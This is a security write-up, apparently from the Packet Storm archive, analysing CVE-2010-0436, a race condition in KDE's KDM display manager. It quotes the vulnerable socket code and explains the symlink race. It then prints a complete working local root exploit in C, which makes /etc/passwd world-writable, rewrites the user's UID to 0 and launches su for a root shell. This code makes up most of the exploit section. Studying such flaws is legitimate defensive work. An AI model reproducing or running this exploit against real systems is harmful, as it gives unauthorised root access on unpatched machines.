seeing is believing

KDE TOCTOU Vulnerability Case Study

KDE TOCTOU Vulnerability Case Study
Posted Nov 4, 2013
Authored by x90c

This write up is an in-depth analysis of the CVE-2010-0436 KDE TOCTTOU vulnerability.

tags | paper
advisories | CVE-2010-0436
MD5 | c89ed85b6fbef0c89d335ddf5983516d

KDE TOCTOU Vulnerability Case Study

Change Mirror Download

CVE vulnerability Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability

___ ___
/ _ \ / _ \
__ __| (_) || | | | ___
\ \/ / \__. || | | | / __|
> < / / | |_| || (__
/_/\_\ /_/ \___/ \___|


[toc]

----[ 1 - Abstract

----[ 2 - Vulnerbility Details

----[ 3 - Exploit code

----[ 4 - Conclusion

----[ 5 - References

----[ 6 - Greets


----[ 1 - Abstract

It's the case study of the cve-2010-0436 KDE TOCTTOU discovered by stealth.
I explains the cve-2010-0436 vulnerability and the details finally, exploit
code.

The cve-2010-0436 has a vulnerability to lead to local privilege escalation
It ocurred at the openCtrl function in the kdebase-workspace-4.1.4/kdm/back
end/ctrl.c, the display manager daemon.

A little TOCTTOU cve cases are reported, in apache, bzip2, gzip, ...
openldap, openssl, kerberos, openoffice, cups, samba, xinetd, perl, KDE.
(Table 1: Reported TOCTTOU Vulnerabilities [1]) and the cwe observed example
of the TOCTTOU vulnerabilities are CVE-2003-0813 rpc dcom CVE-2004-0594 php
CVE-2008-2958/CVE -2008-1570 checkinstall, [2].


----[ 2 - Vulnerability Details


/var/run/xdmctl/dmctl-$DISPLAY/socket


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----

...

/*
* xdm - display manager daemon
* Author: Keith Packard, MIT X Consortium
*
* display manager
*/

...

void
openCtrl( struct display *d ) /* vulnerable function */
{
CtrlRec *cr;
const char *dname;
char *sockdir;
struct sockaddr_un sa;

if (!*fifoDir)
return;
if (d) {
cr = &d->ctrl, dname = d->name;
if (!memcmp( dname, "localhost:", 10 ))
dname += 9;
} else
cr = &ctrl, dname = 0;
if (cr->fd < 0) {
if (mkdir( fifoDir, 0755 )) {
if (errno != EEXIST) {
logError( "mkdir %\"s failed; no control FiFos will be available\n",
fifoDir );
return;
}
} else
chmod( fifoDir, 0755 ); /* override umask */

sockdir = 0;
strApp( &sockdir, fifoDir, dname ? "/dmctl-" : "/dmctl",
dname, (char *)0 );

/* socket directory exists? */
if (sockdir) {
strApp( &cr->path, sockdir, "/socket", (char *)0 ); /* get a string of cr->path '/socket'
attached. */

if (cr->path) {
if (strlen( cr->path ) >= sizeof(sa.sun_path))
logError( "path %\"s too long; no control sockets will be available\n",
cr->path );
else if (mkdir( sockdir, 0755 ) && errno != EEXIST) // directory create failed?
logError( "mkdir %\"s failed; no control sockets will be available\n",
sockdir );

else { /* XXX: directory created?. ( /socket dir permmision 755 ) */
if (!d)
chown( sockdir, -1, fifoGroup );

/* XXX: change sockdir directory permission to 750. */
chmod( sockdir, 0750 );

if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0) // create socket.
logError( "Cannot create control socket\n" );
else { // socket created?

unlink( cr->path ); // (1) unlink cr->path. (socket file)

sa.sun_family = AF_UNIX;
strcpy( sa.sun_path, cr->path );

if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
if (!listen( cr->fd, 5 )) { // (2) listen.

/* (3) XXX: vulnerable point - set permission 666 after cr->path
created newly. */
chmod( cr->path, 0666 );

registerCloseOnFork( cr->fd );
registerInput( cr->fd );
free( sockdir );
return;

...


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----


(1) unlink /var/run/xdmctl/dmctl-$DISPLAY/socket file and (2) bind and
listen get an new socket and the socket file and (3) chmod 666 the socket
file. After unlink the socket file ln -s /etc/shadow /var/run/xdmctl/dmctl
-$DISPLAY/socket and (2) failed and chmod 666 the socket file to lead to
chmod /etc/shadow 666. TOCTTOU!

A process do symlink and another process open the display continualy, can
get the read/writable /etc/shadow file. The open the display via the AF_UNIX
socket.


----[ 3 - Exploit Code


See the exploit process via stealth's exploit code:

[bambule-digitale.c]
----
/* bambule-digitale.c aka krm.c - KDE Root Manager
*
* KDE3/4 KDM local root exploit (C) 2010
* Successfully tested on openSUSE 11.2 with intel Core2 x64
* a 1.6Ghz. But this is not Linux specific!
*
* Bug is a silly race. KDM opens control socket in
* /var/run/xdmctl/dmctl-$DISPLAY/socket. It looks safe
* since the dir containing the socket is chowned to user [2]
* after the bind()/chmod() [1] has been done. However, rmdir() [3]
* retval is not checked and therefore upon restart mkdir()
* for a root owned socket dir fails. Thus still owned by
* user who can then play symlink tricks:
*
* kdm/backend/ctrl.c:
*
* ...
* if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0)
* LogError( "Cannot create control socket\n" );
* else {
* unlink( cr->path );
* sa.sun_family = AF_UNIX;
* strcpy( sa.sun_path, cr->path );
* if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
* if (!listen( cr->fd, 5 )) {
* [1] chmod( cr->path, 0666 );
* RegisterCloseOnFork( cr->fd );
* RegisterInput( cr->fd );
* free( sockdir );
* return;
* }
* unlink( cr->path );
* LogError( "Cannot listen on control socket %\"s\n",
* cr->path );
* ...
*
*
* void
* chownCtrl( CtrlRec *cr, int uid )
* {
* if (cr->path) {
* char *ptr = strrchr( cr->path, '/' );
* *ptr = 0;
* [2] chown( cr->path, uid, -1 );
* *ptr = '/';
* }
* }
*
*
* void
* closeCtrl( struct display *d )
* {
* CtrlRec *cr = d ? &d->ctrl : &ctrl;
*
* if (cr->fd >= 0) {
* UnregisterInput( cr->fd );
* CloseNClearCloseOnFork( cr->fd );
* cr->fd = -1;
* unlink( cr->path );
* *strrchr( cr->path, '/' ) = 0;
* [3] rmdir( cr->path );
* free( cr->path );
* cr->path = 0;
* while (cr->css) {
* struct cmdsock *cs = cr->css;
* cr->css = cs->next;
* nukeSock( cs );
* }
* }
* }
*
* We make [3] fail by creating an entry in socketdir when it was
* chowned to us. Creating an inotify for socket creations which
* is delivered to us before chmod at [1]. Even if its very small
* race we have good chances to win on fast machines with more
* than one CPU node, e.g. common setup today.
*
* Log into KDM session, switch to console and login as same user.
* Start program and follow instructions.
*
* No greets to anyone; you all suck badly :D
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <sys/select.h>
#include <sys/syscall.h>
#include <sched.h>
#include <time.h>


void die(const char *msg)
{
perror(msg);
exit(errno);
}


void give_me_r00t()
{
int fd;
char buf[128], c;
char *pwd = NULL, *ptr = NULL;
struct stat st;
off_t off = 0;

if ((fd = open("/etc/passwd", O_RDWR)) < 0)
die("[-] open");
fstat(fd, &st);
if ((pwd = malloc(st.st_size)) == NULL)
die("[-] malloc");
if (read(fd, pwd, st.st_size) != st.st_size)
die("[-] read");
snprintf(buf, sizeof(buf), "%s:x:", getenv("USER"));
ptr = strstr(pwd, buf);
if (!ptr) {
printf("[-] Wrong /etc/passwd format\n");
close(fd);
return;
}
off = lseek(fd, ptr - pwd + strlen(buf), SEEK_SET);
free(pwd);
for (;;) {
pread(fd, &c, 1, off);
if (c == ':')
break;
write(fd, "0", 1);
++off;
}
close(fd);
sync();
}


int main()
{
char buf[128];
int ifd = 0;
struct stat st;
struct sockaddr_un sun;
int sfd;
const char *sock_dir = "/var/run/xdmctl/dmctl-:0";
char *su[] = {"/bin/su", getenv("USER"), NULL};

srand(time(NULL));

chdir(sock_dir); /* (1) chdir sock_dir. */

memset(&sun, 0, sizeof(sun));
sun.sun_family = AF_UNIX;
strcpy(sun.sun_path, "socket2");

mkdir("hold me", 0);
signal(SIGPIPE, SIG_IGN);

symlink("/etc/passwd", "passwd"); // (2) ln -s /etc/passwd ./passwd

printf("--==[ KDM3/4 local root PoC successfully tested on dual-core ]==--\n");
printf("[+] Setup done. switch to KDM session and press Ctrl-Alt-Backspace (logout)\n");
printf("[+] KDM screen will start to flicker (one restart per 2 seconds)\n");
printf("[+] Be patient, this can take some minutes! If it takes more than\n");
printf("[+] 5mins or so it runs on the wrong CPU node; try again.\n");
printf("[+] If KDM screen stands still again, switch back to console.\n");

for (;;) { // (3) race!

/* (2) open the display via PF_UNIX socket. */
if ((sfd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
die("[-] socket");
if ((ifd = inotify_init()) < 0)
die("[-] inotify_init");
if (inotify_add_watch(ifd, sock_dir, IN_CREATE) < 0)
die("[-] inotify_add_watch");

/* (4) unlink socket2 */
unlink("socket2");

/* blocks until race */
syscall(SYS_read, ifd, buf, 1);

/* be very fast, thus syscall() instead of glibc functions */
syscall(SYS_rename, "socket", "socket2"); /* (5) rename socket socket2 */
syscall(SYS_symlink, "passwd", "socket"); /* (6) ln -s passwd socket */
close(ifd);

if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) == 0666)
break;
sleep(2);
usleep(100 + (int)(50.0*rand()/(RAND_MAX+1.0)));

/* (7) AF_UNIX socket to open the display (to create the socket file) */
if (connect(sfd, (struct sockaddr *)&sun, sizeof(sun)) < 0)
break;
write(sfd, "suicide\n", 8);
close(sfd);
}

/* (8) exploited? */
if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) != 0666) {
printf("[-] Exploit failed.\n");
return 1;
}

printf("[+] yummy! /etc/passwd world writable!\n");
give_me_r00t();
printf("[+] Type your user password now. If there is no rootshell, nscd is playing tricks.
'su %s' then.\n", getenv("USER"));
execve(*su, su, NULL);
return 0;
}
----

The exploit comment explains also the related chownCtrl, closeCtrl.
First chdir to the socket directory and symlink /etc/passwd ./socket and
the next race! (4) unlink the socket2 and (5) rename socket to socket2
(6) symlink passwd (symlink'd) to ./socket and (7) AF_UNIX socket connect!

A process symlink /etc/passwd to /var/run/xdmctl/dmctl-:0/socket and the
another process open the display continualy and privilege escalation!


----[ 4 - Conclusion

If to find an TOCTTOU vulnerability, can audit the unlink/create/chmod
codes. If the code flow thaa unlink to chmod no permission checks and
can get the vulnerability.

I explained the KDM TOCTTOU vulnerability via summary, references and
the explanation of the process of the exploit.


----[ 5 - References

[1] TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study
https://www.usenix.org/legacy/event/fast05/tech/full_papers/wei/wei.pdf

[2] CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
http://cwe.mitre.org/data/definitions/367.html


----[ 5 - Greets

my stuffs are more favorite than rebel's stuffs.


EOF

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close